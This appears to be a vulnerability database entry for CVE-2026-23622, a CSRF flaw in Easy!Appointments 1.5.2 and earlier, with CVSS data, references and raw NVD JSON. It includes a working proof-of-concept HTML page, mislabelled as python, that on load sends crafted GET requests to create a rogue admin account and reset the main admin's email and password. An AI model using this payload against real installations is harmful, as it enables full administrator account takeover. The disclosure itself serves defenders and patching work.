CVE-2026-23622

Description

Easy!Appointments is a self hosted appointment scheduler. In 1.5.2 and earlier, application/core/EA_Security.php::csrf_verify() only enforces CSRF for POST requests and returns early for non-POST methods. Several application endpoints perform state-changing operations while accepting parameters from GET (or $_REQUEST), so an attacker can perform CSRF by forcing a victim's browser to issue a crafted GET request. Impact: creation of admin accounts, modification of admin email/password, and full admin account takeover.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:easyappointments:easy\!appointments:*:*:*:*:*:-:*:* - VULNERABLE

Easy!Appointments <= 1.5.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<html> <body> <h1>CSRF Attack - Create Admin Account</h1> <p>Click the button below to create a new admin account</p> <script> // Auto-execute on page load window.onload = function() { // Create admin account via GET request var img = document.createElement('img'); img.src = 'http://target-server/index.php/backend/users/save?user[first_name]=Hacker&user[last_name]=Attacker&user[email][email protected]&user[role]=1&user[password]=EvilPass123&user[password_confirm]=EvilPass123&csrf_token=VALID_TOKEN'; document.body.appendChild(img); // Alternative: Change admin email/password var img2 = document.createElement('img'); img2.src = 'http://target-server/index.php/backend/users/save?user[id]=1&user[email][email protected]&user[password]=NewAdminPass123'; document.body.appendChild(img2); }; </script> <button type="button" onclick="alert('Admin account created!')">Submit</button> </body> </html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-23622
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-23622
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-23622/
[4] VulDB https://vuldb.com/cve/CVE-2026-23622
[5] https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-54v4-4685-vwrj
[6] https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-54v4-4685-vwrj

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-23622", "sourceIdentifier": "[email protected]", "published": "2026-01-15T20:16:05.773", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Easy!Appointments is a self hosted appointment scheduler. In 1.5.2 and earlier, application/core/EA_Security.php::csrf_verify() only enforces CSRF for POST requests and returns early for non-POST methods. Several application endpoints perform state-changing operations while accepting parameters from GET (or $_REQUEST), so an attacker can perform CSRF by forcing a victim's browser to issue a crafted GET request. Impact: creation of admin accounts, modification of admin email/password, and full admin account takeover."}, {"lang": "es", "value": "Easy!Appointments es un programador de citas autoalojado. En 1.5.2 y versiones anteriores, application/core/EA_Security.php::csrf_verify() solo aplica CSRF para solicitudes POST y retorna anticipadamente para métodos que no son POST. Varios puntos finales de la aplicación realizan operaciones que cambian el estado mientras aceptan parámetros de GET (o $_REQUEST), por lo que un atacante puede realizar CSRF forzando al navegador de una víctima a emitir una solicitud GET manipulada. Impacto: creación de cuentas de administrador, modificación de correo electrónico/contraseña de administrador y toma de control total de la cuenta de administrador."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:easyappointments:easy\\!appointments:*:*:*:*:*:-:*:*", "versionEndIncluding": "1.5.2", "matchCriteriaId": "58620CF3-2F83-4032-B0F3-8D04ED54778F"}]}]}], "references": [{"url": "https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-54v4-4685-vwrj", "source": "[email protected]", "tags": ["Vendor Advisory", "Exploit"]}, {"url": "https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-54v4-4685-vwrj", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Vendor Advisory", "Exploit"]}]}}